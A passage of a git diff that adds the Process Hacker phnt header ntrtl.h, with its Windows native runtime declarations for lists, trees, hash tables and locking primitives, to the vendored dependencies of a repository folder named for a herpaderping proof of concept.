b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntrtl.h new file mode 100644 index 00000000..f558bedf --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntrtl.h @@ -0,0 +1,8038 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTRTL_H +#define _NTRTL_H + +#define RtlOffsetToPointer(Base, Offset) ((PCHAR)(((PCHAR)(Base)) + ((ULONG_PTR)(Offset)))) +#define RtlPointerToOffset(Base, Pointer) ((ULONG)(((PCHAR)(Pointer)) - ((PCHAR)(Base)))) + +// Linked lists + +FORCEINLINE VOID InitializeListHead( + _Out_ PLIST_ENTRY ListHead + ) +{ + ListHead->Flink = ListHead->Blink = ListHead; +} + +_Check_return_ FORCEINLINE BOOLEAN IsListEmpty( + _In_ PLIST_ENTRY ListHead + ) +{ + return ListHead->Flink == ListHead; +} + +FORCEINLINE BOOLEAN RemoveEntryList( + _In_ PLIST_ENTRY Entry + ) +{ + PLIST_ENTRY Blink; + PLIST_ENTRY Flink; + + Flink = Entry->Flink; + Blink = Entry->Blink; + Blink->Flink = Flink; + Flink->Blink = Blink; + + return Flink == Blink; +} + +FORCEINLINE PLIST_ENTRY RemoveHeadList( + _Inout_ PLIST_ENTRY ListHead + ) +{ + PLIST_ENTRY Flink; + PLIST_ENTRY Entry; + + Entry = ListHead->Flink; + Flink = Entry->Flink; + ListHead->Flink = Flink; + Flink->Blink = ListHead; + + return Entry; +} + +FORCEINLINE PLIST_ENTRY RemoveTailList( + _Inout_ PLIST_ENTRY ListHead + ) +{ + PLIST_ENTRY Blink; + PLIST_ENTRY Entry; + + Entry = ListHead->Blink; + Blink = Entry->Blink; + ListHead->Blink = Blink; + Blink->Flink = ListHead; + + return Entry; +} + +FORCEINLINE VOID InsertTailList( + _Inout_ PLIST_ENTRY ListHead, + _Inout_ PLIST_ENTRY Entry + ) +{ + PLIST_ENTRY Blink; + + Blink = ListHead->Blink; + Entry->Flink = ListHead; + Entry->Blink = Blink; + Blink->Flink = Entry; + ListHead->Blink = Entry; +} + +FORCEINLINE VOID InsertHeadList( + _Inout_ PLIST_ENTRY ListHead, + _Inout_ PLIST_ENTRY Entry + ) +{ + PLIST_ENTRY Flink; + + Flink = ListHead->Flink; + Entry->Flink = Flink; + Entry->Blink = ListHead; + Flink->Blink = Entry; + ListHead->Flink = Entry; +} + +FORCEINLINE VOID AppendTailList( + _Inout_ PLIST_ENTRY ListHead, + _Inout_ PLIST_ENTRY ListToAppend + ) +{ + PLIST_ENTRY ListEnd = ListHead->Blink; + + ListHead->Blink->Flink = ListToAppend; + ListHead->Blink = ListToAppend->Blink; + ListToAppend->Blink->Flink = ListHead; + ListToAppend->Blink = ListEnd; +} + +FORCEINLINE PSINGLE_LIST_ENTRY PopEntryList( + _Inout_ PSINGLE_LIST_ENTRY ListHead + ) +{ + PSINGLE_LIST_ENTRY FirstEntry; + + FirstEntry = ListHead->Next; + + if (FirstEntry) + ListHead->Next = FirstEntry->Next; + + return FirstEntry; +} + +FORCEINLINE VOID PushEntryList( + _Inout_ PSINGLE_LIST_ENTRY ListHead, + _Inout_ PSINGLE_LIST_ENTRY Entry + ) +{ + Entry->Next = ListHead->Next; + ListHead->Next = Entry; +} + +// AVL and splay trees + +typedef enum _TABLE_SEARCH_RESULT +{ + TableEmptyTree, + TableFoundNode, + TableInsertAsLeft, + TableInsertAsRight +} TABLE_SEARCH_RESULT; + +typedef enum _RTL_GENERIC_COMPARE_RESULTS +{ + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + +typedef RTL_GENERIC_COMPARE_RESULTS (NTAPI *PRTL_AVL_COMPARE_ROUTINE)( + _In_ struct _RTL_AVL_TABLE *Table, + _In_ PVOID FirstStruct, + _In_ PVOID SecondStruct + ); + +typedef PVOID (NTAPI *PRTL_AVL_ALLOCATE_ROUTINE)( + _In_ struct _RTL_AVL_TABLE *Table, + _In_ CLONG ByteSize + ); + +typedef VOID (NTAPI *PRTL_AVL_FREE_ROUTINE)( + _In_ struct _RTL_AVL_TABLE *Table, + _In_ _Post_invalid_ PVOID Buffer + ); + +typedef NTSTATUS (NTAPI *PRTL_AVL_MATCH_FUNCTION)( + _In_ struct _RTL_AVL_TABLE *Table, + _In_ PVOID UserData, + _In_ PVOID MatchData + ); + +typedef struct _RTL_BALANCED_LINKS +{ + struct _RTL_BALANCED_LINKS *Parent; + struct _RTL_BALANCED_LINKS *LeftChild; + struct _RTL_BALANCED_LINKS *RightChild; + CHAR Balance; + UCHAR Reserved[3]; +} RTL_BALANCED_LINKS, *PRTL_BALANCED_LINKS; + +typedef struct _RTL_AVL_TABLE +{ + RTL_BALANCED_LINKS BalancedRoot; + PVOID OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + ULONG DepthOfTree; + PRTL_BALANCED_LINKS RestartKey; + ULONG DeleteCount; + PRTL_AVL_COMPARE_ROUTINE CompareRoutine; + PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_AVL_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_AVL_TABLE, *PRTL_AVL_TABLE; + +NTSYSAPI +VOID +NTAPI +RtlInitializeGenericTableAvl( + _Out_ PRTL_AVL_TABLE Table, + _In_ PRTL_AVL_COMPARE_ROUTINE CompareRoutine, + _In_ PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine, + _In_ PRTL_AVL_FREE_ROUTINE FreeRoutine, + _In_opt_ PVOID TableContext + ); + +NTSYSAPI +PVOID +NTAPI +RtlInsertElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ CLONG BufferSize, + _Out_opt_ PBOOLEAN NewElement + ); + +NTSYSAPI +PVOID +NTAPI +RtlInsertElementGenericTableFullAvl( + _In_ PRTL_AVL_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ CLONG BufferSize, + _Out_opt_ PBOOLEAN NewElement, + _In_ PVOID NodeOrParent, + _In_ TABLE_SEARCH_RESULT SearchResult + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlDeleteElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer + ); + +_Check_return_ +NTSYSAPI +PVOID +NTAPI +RtlLookupElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer + ); + +NTSYSAPI +PVOID +NTAPI +RtlLookupElementGenericTableFullAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer, + _Out_ PVOID *NodeOrParent, + _Out_ TABLE_SEARCH_RESULT *SearchResult + ); + +_Check_return_ +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ BOOLEAN Restart + ); + +_Check_return_ +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplayingAvl( + _In_ PRTL_AVL_TABLE Table, + _Inout_ PVOID *RestartKey + ); + +_Check_return_ +NTSYSAPI +PVOID +NTAPI +RtlLookupFirstMatchingElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer, + _Out_ PVOID *RestartKey + ); + +_Check_return_ +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableLikeADirectory( + _In_ PRTL_AVL_TABLE Table, + _In_opt_ PRTL_AVL_MATCH_FUNCTION MatchFunction, + _In_opt_ PVOID MatchData, + _In_ ULONG NextFlag, + _Inout_ PVOID *RestartKey, + _Inout_ PULONG DeleteCount, + _In_ PVOID Buffer + ); + +_Check_return_ +NTSYSAPI +PVOID +NTAPI +RtlGetElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ ULONG I + ); + +NTSYSAPI +ULONG +NTAPI +RtlNumberGenericTableElementsAvl( + _In_ PRTL_AVL_TABLE Table + ); + +_Check_return_ +NTSYSAPI +BOOLEAN +NTAPI +RtlIsGenericTableEmptyAvl( + _In_ PRTL_AVL_TABLE Table + ); + +typedef struct _RTL_SPLAY_LINKS +{ + struct _RTL_SPLAY_LINKS *Parent; + struct _RTL_SPLAY_LINKS *LeftChild; + struct _RTL_SPLAY_LINKS *RightChild; +} RTL_SPLAY_LINKS, *PRTL_SPLAY_LINKS; + +#define RtlInitializeSplayLinks(Links) \ +{ \ + PRTL_SPLAY_LINKS _SplayLinks; \ + _SplayLinks = (PRTL_SPLAY_LINKS)(Links); \ + _SplayLinks->Parent = _SplayLinks; \ + _SplayLinks->LeftChild = NULL; \ + _SplayLinks->RightChild = NULL; \ +} + +#define RtlParent(Links) ((PRTL_SPLAY_LINKS)(Links)->Parent) +#define RtlLeftChild(Links) ((PRTL_SPLAY_LINKS)(Links)->LeftChild) +#define RtlRightChild(Links) ((PRTL_SPLAY_LINKS)(Links)->RightChild) +#define RtlIsRoot(Links) ((RtlParent(Links) == (PRTL_SPLAY_LINKS)(Links))) +#define RtlIsLeftChild(Links) ((RtlLeftChild(RtlParent(Links)) == (PRTL_SPLAY_LINKS)(Links))) +#define RtlIsRightChild(Links) ((RtlRightChild(RtlParent(Links)) == (PRTL_SPLAY_LINKS)(Links))) + +#define RtlInsertAsLeftChild(ParentLinks, ChildLinks) \ +{ \ + PRTL_SPLAY_LINKS _SplayParent; \ + PRTL_SPLAY_LINKS _SplayChild; \ + _SplayParent = (PRTL_SPLAY_LINKS)(ParentLinks); \ + _SplayChild = (PRTL_SPLAY_LINKS)(ChildLinks); \ + _SplayParent->LeftChild = _SplayChild; \ + _SplayChild->Parent = _SplayParent; \ +} + +#define RtlInsertAsRightChild(ParentLinks, ChildLinks) \ +{ \ + PRTL_SPLAY_LINKS _SplayParent; \ + PRTL_SPLAY_LINKS _SplayChild; \ + _SplayParent = (PRTL_SPLAY_LINKS)(ParentLinks); \ + _SplayChild = (PRTL_SPLAY_LINKS)(ChildLinks); \ + _SplayParent->RightChild = _SplayChild; \ + _SplayChild->Parent = _SplayParent; \ +} + +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlSplay( + _Inout_ PRTL_SPLAY_LINKS Links + ); + +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlDelete( + _In_ PRTL_SPLAY_LINKS Links + ); + +NTSYSAPI +VOID +NTAPI +RtlDeleteNoSplay( + _In_ PRTL_SPLAY_LINKS Links, + _Inout_ PRTL_SPLAY_LINKS *Root + ); + +_Check_return_ +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlSubtreeSuccessor( + _In_ PRTL_SPLAY_LINKS Links + ); + +_Check_return_ +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlSubtreePredecessor( + _In_ PRTL_SPLAY_LINKS Links + ); + +_Check_return_ +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlRealSuccessor( + _In_ PRTL_SPLAY_LINKS Links + ); + +_Check_return_ +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlRealPredecessor( + _In_ PRTL_SPLAY_LINKS Links + ); + +struct _RTL_GENERIC_TABLE; + +typedef RTL_GENERIC_COMPARE_RESULTS (NTAPI *PRTL_GENERIC_COMPARE_ROUTINE)( + _In_ struct _RTL_GENERIC_TABLE *Table, + _In_ PVOID FirstStruct, + _In_ PVOID SecondStruct + ); + +typedef PVOID (NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE)( + _In_ struct _RTL_GENERIC_TABLE *Table, + _In_ CLONG ByteSize + ); + +typedef VOID (NTAPI *PRTL_GENERIC_FREE_ROUTINE)( + _In_ struct _RTL_GENERIC_TABLE *Table, + _In_ _Post_invalid_ PVOID Buffer + ); + +typedef struct _RTL_GENERIC_TABLE +{ + PRTL_SPLAY_LINKS TableRoot; + LIST_ENTRY InsertOrderList; + PLIST_ENTRY OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine; + PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_GENERIC_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_GENERIC_TABLE, *PRTL_GENERIC_TABLE; + +NTSYSAPI +VOID +NTAPI +RtlInitializeGenericTable( + _Out_ PRTL_GENERIC_TABLE Table, + _In_ PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine, + _In_ PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine, + _In_ PRTL_GENERIC_FREE_ROUTINE FreeRoutine, + _In_opt_ PVOID TableContext + ); + +NTSYSAPI +PVOID +NTAPI +RtlInsertElementGenericTable( + _In_ PRTL_GENERIC_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ CLONG BufferSize, + _Out_opt_ PBOOLEAN NewElement + ); + +NTSYSAPI +PVOID +NTAPI +RtlInsertElementGenericTableFull( + _In_ PRTL_GENERIC_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ CLONG BufferSize, + _Out_opt_ PBOOLEAN NewElement, + _In_ PVOID NodeOrParent, + _In_ TABLE_SEARCH_RESULT SearchResult + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlDeleteElementGenericTable( + _In_ PRTL_GENERIC_TABLE Table, + _In_ PVOID Buffer + ); + +_Check_return_ +NTSYSAPI +PVOID +NTAPI +RtlLookupElementGenericTable( + _In_ PRTL_GENERIC_TABLE Table, + _In_ PVOID Buffer + ); + +NTSYSAPI +PVOID +NTAPI +RtlLookupElementGenericTableFull( + _In_ PRTL_GENERIC_TABLE Table, + _In_ PVOID Buffer, + _Out_ PVOID *NodeOrParent, + _Out_ TABLE_SEARCH_RESULT *SearchResult + ); + +_Check_return_ +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTable( + _In_ PRTL_GENERIC_TABLE Table, + _In_ BOOLEAN Restart + ); + +_Check_return_ +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplaying( + _In_ PRTL_GENERIC_TABLE Table, + _Inout_ PVOID *RestartKey + ); + +_Check_return_ +NTSYSAPI +PVOID +NTAPI +RtlGetElementGenericTable( + _In_ PRTL_GENERIC_TABLE Table, + _In_ ULONG I + ); + +NTSYSAPI +ULONG +NTAPI +RtlNumberGenericTableElements( + _In_ PRTL_GENERIC_TABLE Table + ); + +_Check_return_ +NTSYSAPI +BOOLEAN +NTAPI +RtlIsGenericTableEmpty( + _In_ PRTL_GENERIC_TABLE Table + ); + +// RB trees + +typedef struct _RTL_RB_TREE +{ + PRTL_BALANCED_NODE Root; + PRTL_BALANCED_NODE Min; +} RTL_RB_TREE, *PRTL_RB_TREE; + +#if (PHNT_VERSION >= PHNT_WIN8) + +// rev +NTSYSAPI +VOID +NTAPI +RtlRbInsertNodeEx( + _In_ PRTL_RB_TREE Tree, + _In_opt_ PRTL_BALANCED_NODE Parent, + _In_ BOOLEAN Right, + _Out_ PRTL_BALANCED_NODE Node + ); + +// rev +NTSYSAPI +VOID +NTAPI +RtlRbRemoveNode( + _In_ PRTL_RB_TREE Tree, + _In_ PRTL_BALANCED_NODE Node + ); + +#endif + +// Hash tables + +// begin_ntddk + +#define RTL_HASH_ALLOCATED_HEADER 0x00000001 +#define RTL_HASH_RESERVED_SIGNATURE 0 + +typedef struct _RTL_DYNAMIC_HASH_TABLE_ENTRY +{ + LIST_ENTRY Linkage; + ULONG_PTR Signature; +} RTL_DYNAMIC_HASH_TABLE_ENTRY, *PRTL_DYNAMIC_HASH_TABLE_ENTRY; + +#define HASH_ENTRY_KEY(x) ((x)->Signature) + +typedef struct _RTL_DYNAMIC_HASH_TABLE_CONTEXT +{ + PLIST_ENTRY ChainHead; + PLIST_ENTRY PrevLinkage; + ULONG_PTR Signature; +} RTL_DYNAMIC_HASH_TABLE_CONTEXT, *PRTL_DYNAMIC_HASH_TABLE_CONTEXT; + +typedef struct _RTL_DYNAMIC_HASH_TABLE_ENUMERATOR +{ + RTL_DYNAMIC_HASH_TABLE_ENTRY HashEntry; + PLIST_ENTRY ChainHead; + ULONG BucketIndex; +} RTL_DYNAMIC_HASH_TABLE_ENUMERATOR, *PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR; + +typedef struct _RTL_DYNAMIC_HASH_TABLE +{ + // Entries initialized at creation. + ULONG Flags; + ULONG Shift; + + // Entries used in bucket computation. + ULONG TableSize; + ULONG Pivot; + ULONG DivisorMask; + + // Counters. + ULONG NumEntries; + ULONG NonEmptyBuckets; + ULONG NumEnumerators; + + // The directory. This field is for internal use only. + PVOID Directory; +} RTL_DYNAMIC_HASH_TABLE, *PRTL_DYNAMIC_HASH_TABLE; + +#if (PHNT_VERSION >= PHNT_WIN7) + +FORCEINLINE +VOID +RtlInitHashTableContext( + _Inout_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context + ) +{ + Context->ChainHead = NULL; + Context->PrevLinkage = NULL; +} + +FORCEINLINE +VOID +RtlInitHashTableContextFromEnumerator( + _Inout_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context, + _In_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator + ) +{ + Context->ChainHead = Enumerator->ChainHead; + Context->PrevLinkage = Enumerator->HashEntry.Linkage.Blink; +} + +FORCEINLINE +VOID +RtlReleaseHashTableContext( + _Inout_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context + ) +{ + UNREFERENCED_PARAMETER(Context); + return; +} + +FORCEINLINE +ULONG +RtlTotalBucketsHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable + ) +{ + return HashTable->TableSize; +} + +FORCEINLINE +ULONG +RtlNonEmptyBucketsHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable + ) +{ + return HashTable->NonEmptyBuckets; +} + +FORCEINLINE +ULONG +RtlEmptyBucketsHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable + ) +{ + return HashTable->TableSize - HashTable->NonEmptyBuckets; +} + +FORCEINLINE +ULONG +RtlTotalEntriesHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable + ) +{ + return HashTable->NumEntries; +} + +FORCEINLINE +ULONG +RtlActiveEnumeratorsHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable + ) +{ + return HashTable->NumEnumerators; +} + +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateHashTable( + _Inout_ _When_(*HashTable == NULL, __drv_allocatesMem(Mem)) PRTL_DYNAMIC_HASH_TABLE *HashTable, + _In_ ULONG Shift, + _In_ _Reserved_ ULONG Flags + ); + +NTSYSAPI +VOID +NTAPI +RtlDeleteHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlInsertEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _In_ PRTL_DYNAMIC_HASH_TABLE_ENTRY Entry, + _In_ ULONG_PTR Signature, + _Inout_opt_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlRemoveEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _In_ PRTL_DYNAMIC_HASH_TABLE_ENTRY Entry, + _Inout_opt_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context + ); + +_Must_inspect_result_ +NTSYSAPI +PRTL_DYNAMIC_HASH_TABLE_ENTRY +NTAPI +RtlLookupEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _In_ ULONG_PTR Signature, + _Out_opt_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context + ); + +_Must_inspect_result_ +NTSYSAPI +PRTL_DYNAMIC_HASH_TABLE_ENTRY +NTAPI +RtlGetNextEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _In_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlInitEnumerationHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Out_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator + ); + +_Must_inspect_result_ +NTSYSAPI +PRTL_DYNAMIC_HASH_TABLE_ENTRY +NTAPI +RtlEnumerateEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator + ); + +NTSYSAPI +VOID +NTAPI +RtlEndEnumerationHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlInitWeakEnumerationHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Out_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator + ); + +_Must_inspect_result_ +NTSYSAPI +PRTL_DYNAMIC_HASH_TABLE_ENTRY +NTAPI +RtlWeaklyEnumerateEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator + ); + +NTSYSAPI +VOID +NTAPI +RtlEndWeakEnumerationHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlExpandHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlContractHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable + ); + +#endif + +#if (PHNT_VERSION >= PHNT_THRESHOLD) + +NTSYSAPI +BOOLEAN +NTAPI +RtlInitStrongEnumerationHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Out_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator + ); + +_Must_inspect_result_ +NTSYSAPI +PRTL_DYNAMIC_HASH_TABLE_ENTRY +NTAPI +RtlStronglyEnumerateEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator + ); + +NTSYSAPI +VOID +NTAPI +RtlEndStrongEnumerationHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator + ); + +#endif + +// end_ntddk + +// Critical sections + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeCriticalSection( + _Out_ PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeCriticalSectionAndSpinCount( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection, + _In_ ULONG SpinCount + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlEnterCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLeaveCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSYSAPI +LOGICAL +NTAPI +RtlTryEnterCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSYSAPI +LOGICAL +NTAPI +RtlIsCriticalSectionLocked( + _In_ PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSYSAPI +LOGICAL +NTAPI +RtlIsCriticalSectionLockedByThread( + _In_ PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSYSAPI +ULONG +NTAPI +RtlGetCriticalSectionRecursionCount( + _In_ PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSYSAPI +ULONG +NTAPI +RtlSetCriticalSectionSpinCount( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection, + _In_ ULONG SpinCount + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +HANDLE +NTAPI +RtlQueryCriticalSectionOwner( + _In_ HANDLE EventHandle + ); +#endif + +NTSYSAPI +VOID +NTAPI +RtlCheckForOrphanedCriticalSections( + _In_ HANDLE ThreadHandle + ); + +// Resources + +typedef struct _RTL_RESOURCE +{ + RTL_CRITICAL_SECTION CriticalSection; + + HANDLE SharedSemaphore; + volatile ULONG NumberOfWaitingShared; + HANDLE ExclusiveSemaphore; + volatile ULONG NumberOfWaitingExclusive; + + volatile LONG NumberOfActive; // negative: exclusive acquire; zero: not acquired; positive: shared acquire(s) + HANDLE ExclusiveOwnerThread; + + ULONG Flags; // RTL_RESOURCE_FLAG_* + + PRTL_RESOURCE_DEBUG DebugInfo; +} RTL_RESOURCE, *PRTL_RESOURCE; + +#define RTL_RESOURCE_FLAG_LONG_TERM ((ULONG)0x00000001) + +NTSYSAPI +VOID +NTAPI +RtlInitializeResource( + _Out_ PRTL_RESOURCE Resource + ); + +NTSYSAPI +VOID +NTAPI +RtlDeleteResource( + _Inout_ PRTL_RESOURCE Resource + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlAcquireResourceShared( + _Inout_ PRTL_RESOURCE Resource, + _In_ BOOLEAN Wait + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlAcquireResourceExclusive( + _Inout_ PRTL_RESOURCE Resource, + _In_ BOOLEAN Wait + ); + +NTSYSAPI +VOID +NTAPI +RtlReleaseResource( + _Inout_ PRTL_RESOURCE Resource + ); + +NTSYSAPI +VOID +NTAPI +RtlConvertSharedToExclusive( + _Inout_ PRTL_RESOURCE Resource + ); + +NTSYSAPI +VOID +NTAPI +RtlConvertExclusiveToShared( + _Inout_ PRTL_RESOURCE Resource + ); + +// Slim reader-writer locks, condition variables, and barriers + +#if (PHNT_VERSION >= PHNT_VISTA) + +// winbase:InitializeSRWLock +NTSYSAPI +VOID +NTAPI +RtlInitializeSRWLock( + _Out_ PRTL_SRWLOCK SRWLock + ); + +// winbase:AcquireSRWLockExclusive +NTSYSAPI +VOID +NTAPI +RtlAcquireSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock + ); + +// winbase:AcquireSRWLockShared +NTSYSAPI +VOID +NTAPI +RtlAcquireSRWLockShared( + _Inout_ PRTL_SRWLOCK SRWLock + ); + +// winbase:ReleaseSRWLockExclusive +NTSYSAPI +VOID +NTAPI +RtlReleaseSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock + ); + +// winbase:ReleaseSRWLockShared +NTSYSAPI +VOID +NTAPI +RtlReleaseSRWLockShared( + _Inout_ PRTL_SRWLOCK SRWLock + ); + +// winbase:TryAcquireSRWLockExclusive +NTSYSAPI +BOOLEAN +NTAPI +RtlTryAcquireSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock + ); + +// winbase:TryAcquireSRWLockShared +NTSYSAPI +BOOLEAN +NTAPI +RtlTryAcquireSRWLockShared( + _Inout_ PRTL_SRWLOCK SRWLock + ); + +#if (PHNT_VERSION >= PHNT_WIN7) +// rev +NTSYSAPI +VOID +NTAPI +RtlAcquireReleaseSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock + ); +#endif + +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) + +// winbase:InitializeConditionVariable +NTSYSAPI +VOID +NTAPI +RtlInitializeConditionVariable( + _Out_ PRTL_CONDITION_VARIABLE ConditionVariable + ); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSleepConditionVariableCS( + _Inout_ PRTL_CONDITION_VARIABLE ConditionVariable, + _Inout_ PRTL_CRITICAL_SECTION CriticalSection, + _In_opt_ PLARGE_INTEGER Timeout + ); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSleepConditionVariableSRW( + _Inout_ PRTL_CONDITION_VARIABLE ConditionVariable, + _Inout_ PRTL_SRWLOCK SRWLock, + _In_opt_ PLARGE_INTEGER Timeout, + _In_ ULONG Flags + ); + +// winbase:WakeConditionVariable +NTSYSAPI +VOID +NTAPI +RtlWakeConditionVariable( + _Inout_ PRTL_CONDITION_VARIABLE ConditionVariable + ); + +// winbase:WakeAllConditionVariable +NTSYSAPI +VOID +NTAPI +RtlWakeAllConditionVariable( + _Inout_ PRTL_CONDITION_VARIABLE ConditionVariable + ); + +#endif + +// begin_rev +#define RTL_BARRIER_FLAGS_SPIN_ONLY 0x00000001 // never block on event - always spin +#define RTL_BARRIER_FLAGS_BLOCK_ONLY 0x00000002 // always block on event - never spin +#define RTL_BARRIER_FLAGS_NO_DELETE 0x00000004 // use if barrier will never be deleted +// end_rev + +// begin_private + +#if (PHNT_VERSION >= PHNT_VISTA) + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitBarrier( + _Out_ PRTL_BARRIER Barrier, + _In_ ULONG TotalThreads, + _In_ ULONG SpinCount + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteBarrier( + _In_ PRTL_BARRIER Barrier + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlBarrier( + _Inout_ PRTL_BARRIER Barrier, + _In_ ULONG Flags + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlBarrierForDelete( + _Inout_ PRTL_BARRIER Barrier, + _In_ ULONG Flags + ); + +#endif + 